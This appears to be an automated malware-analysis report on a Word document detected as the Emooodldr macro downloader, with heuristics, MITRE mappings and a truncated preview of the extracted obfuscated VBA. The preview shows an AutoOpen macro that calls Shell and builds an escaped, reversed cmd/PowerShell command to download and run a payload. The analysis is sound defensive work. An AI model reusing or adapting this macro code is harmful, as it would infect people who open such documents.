MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is identified as malicious by ClamAV with the signature Doc.Malware.Emooodldr-6692017-0, indicating the Emooodldr family. It contains a legacy WordBasic AutoOpen macro, which is a common technique for initial execution of malware within Office documents. The macro is likely responsible for downloading and executing a secondary payload, though the specific download URL is obfuscated and truncated in the provided script excerpt.
Heuristics 5
-
ClamAV: Doc.Malware.Emooodldr-6692017-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emooodldr-6692017-0
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 15930 bytes |
SHA-256: e55e33187cef3736d4ff10d503d0ebc7d2c71b859db1d00d2e0e279aee66b3db |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "LjCfsKUvAHuEVq"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Const YXYmjq = 0
Dim JjWIq(2)
JjWIq(0) = MidB(iChOjoVL, 679, 32) + MidB(iChOjoVL, 679, 32)
JjWIq(1) = Left(jQQUn, 91) + Mid(iNFkUI, 744, 124)
Dim hDNzuL(3)
hDNzuL(0) = Left(jQQUn, 91) + MidB(iChOjoVL, 679, 32) + Mid(iNFkUI, 744, 124) + MidB(iChOjoVL, 679, 32)
hDNzuL(1) = Mid(iNFkUI, 744, 124) + MidB(iChOjoVL, 679, 32)
hDNzuL(2) = MidB(iChOjoVL, 679, 32) + Mid(iNFkUI, 744, 124)
Dim NhRkcB(4)
NhRkcB(0) = Right(zoRlDbSt, 393) + Left(jQQUn, 91)
NhRkcB(1) = MidB(iChOjoVL, 679, 32) + Mid(iNFkUI, 744, 124)
NhRkcB(2) = Mid(iNFkUI, 744, 124) + Right(zoRlDbSt, 393) + Left(jQQUn, 91) + MidB(iChOjoVL, 679, 32)
NhRkcB(3) = Left(jQQUn, 91) + Right(zoRlDbSt, 393)
Dim Ttrih(5)
Ttrih(0) = MidB(iChOjoVL, 679, 32) + Left(jQQUn, 91) + Left(jQQUn, 91) + Right(zoRlDbSt, 393)
Ttrih(1) = MidB(iChOjoVL, 679, 32) + Right(zoRlDbSt, 393)
Ttrih(2) = Right(zoRlDbSt, 393) + Left(jQQUn, 91)
Ttrih(3) = Left(jQQUn, 91) + Left(jQQUn, 91) + Mid(iNFkUI, 744, 124) + Left(jQQUn, 91)
Ttrih(4) = Mid(iNFkUI, 744, 124) + Right(zoRlDbSt, 393)
Dim kLJJlc(4)
kLJJlc(0) = Right(zoRlDbSt, 393) + Right(zoRlDbSt, 393)
kLJJlc(1) = Mid(iNFkUI, 744, 124) + Mid(iNFkUI, 744, 124)
kLJJlc(2) = Mid(iNFkUI, 744, 124) + MidB(iChOjoVL, 679, 32)
kLJJlc(3) = Right(zoRlDbSt, 393) + Left(jQQUn, 91)
Dim woLtXr(2)
woLtXr(0) = Mid(iNFkUI, 744, 124) + Left(jQQUn, 91) + Right(zoRlDbSt, 393) + Left(jQQUn, 91)
woLtXr(1) = MidB(iChOjoVL, 679, 32) + Left(jQQUn, 91)
Dim ChVPs(2)
ChVPs(0) = Mid(iNFkUI, 744, 124) + Left(jQQUn, 91)
ChVPs(1) = Mid(iNFkUI, 744, 124) + MidB(iChOjoVL, 679, 32)
Shell@ kncZTIG + rdKfutSHNK + VDdzQiM + AAFFjtdFUBG, YXYmjq
Dim AcQccR(3)
AcQccR(0) = Left(jQQUn, 91) + Mid(iNFkUI, 744, 124) + Left(jQQUn, 91) + Mid(iNFkUI, 744, 124)
AcQccR(1) = Mid(iNFkUI, 744, 124) + MidB(iChOjoVL, 679, 32)
AcQccR(2) = Mid(iNFkUI, 744, 124) + MidB(iChOjoVL, 679, 32) + Right(zoRlDbSt, 393) + Mid(iNFkUI, 744, 124)
Dim SWHAh(3)
SWHAh(0) = Right(zoRlDbSt, 393) + MidB(iChOjoVL, 679, 32)
SWHAh(1) = Right(zoRlDbSt, 393) + Left(jQQUn, 91) + Left(jQQUn, 91) + Right(zoRlDbSt, 393)
SWHAh(2) = MidB(iChOjoVL, 679, 32) + Left(jQQUn, 91)
Dim TQEjSm(2)
TQEjSm(0) = MidB(iChOjoVL, 679, 32) + Mid(iNFkUI, 744, 124)
TQEjSm(1) = MidB(iChOjoVL, 679, 32) + Right(zoRlDbSt, 393) + Right(zoRlDbSt, 393) + Right(zoRlDbSt, 393)
End Sub
Attribute VB_Name = "ULTosJXDtERlH"
Function kncZTIG()
Dim Qiopn(2)
Qiopn(0) = Mid(iNFkUI, 744, 124) + MidB(iChOjoVL, 679, 32) + MidB(iChOjoVL, 679, 32) + MidB(iChOjoVL, 679, 32)
Qiopn(1) = MidB(iChOjoVL, 679, 32) + Mid(iNFkUI, 744, 124)
Dim VVdtrY(2)
VVdtrY(0) = Right(zoRlDbSt, 393) + Left(jQQUn, 91)
VVdtrY(1) = Mid(iNFkUI, 744, 124) + Left(jQQUn, 91)
OhOwGEqD = CStr(Chr(CleanString(16 + 1 + 16 + 16 + 50))) + "md" + " /V^:^ON/" + CStr(Chr(CleanString(11 + 1 + 11 + 11 + 33))) + CStr(Chr(CleanString(5 + 0 + 5 + 5 + 19))) + "s^e^t" + " ^G" + "X^t^8=^ " + "^ ^ ^ ^ " + " ^ ^ " + " ^ ^ }}{" + "h" + CStr(Chr(CleanString(16 + 1 + 16 + 16 + 50))) + "^t" + "^a" + CStr(Chr(CleanString(16 + 1 + 16 + 16 + 50))) + "^};kaerb^;^L" + "^XR^$ metI-" + "e^k^ov"
Dim CNsRfW(2)
CNsRfW(0) = MidB(iChOjoVL, 679, 32) + MidB(iChOjoVL, 679, 32)
CNsRfW(1) = Right(zoRlDbSt, 393) + Right(zoRlDbSt, 393) + Mid(iNFkUI, 744, 124) + Right(zoRlDbSt, 393)
Dim pntDjY(2)
pntDjY(0) = MidB(iChOjoVL, 679, 32) + MidB(iChOjoVL, 679, 32) + Left(jQQUn, 91) + Right(zoRlDbSt, 393)
pntDjY(1) = Left(jQQUn, 91) + Left(jQQUn, 91)
Dim YhNAvZ(3)
YhNAvZ(0) = MidB(iChOjoVL, 679, 32) + MidB(iChOjoVL, 679, 32)
YhNAvZ(1) = MidB(iChOjoVL, 679, 32) + MidB(iChOjoVL, 679, 32)
YhNAvZ(2) = Right(zoRlDbSt, 393) + Mid(iNFkUI, 744, 124) + MidB(iChOjoVL, 679, 32) + Mid(iNFkUI, 744, 124)
zmdknCSYsKi = "n^I;)^LXR$^" + " " + ",TH^u$(e" + "liF^" + "d^aol" +
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.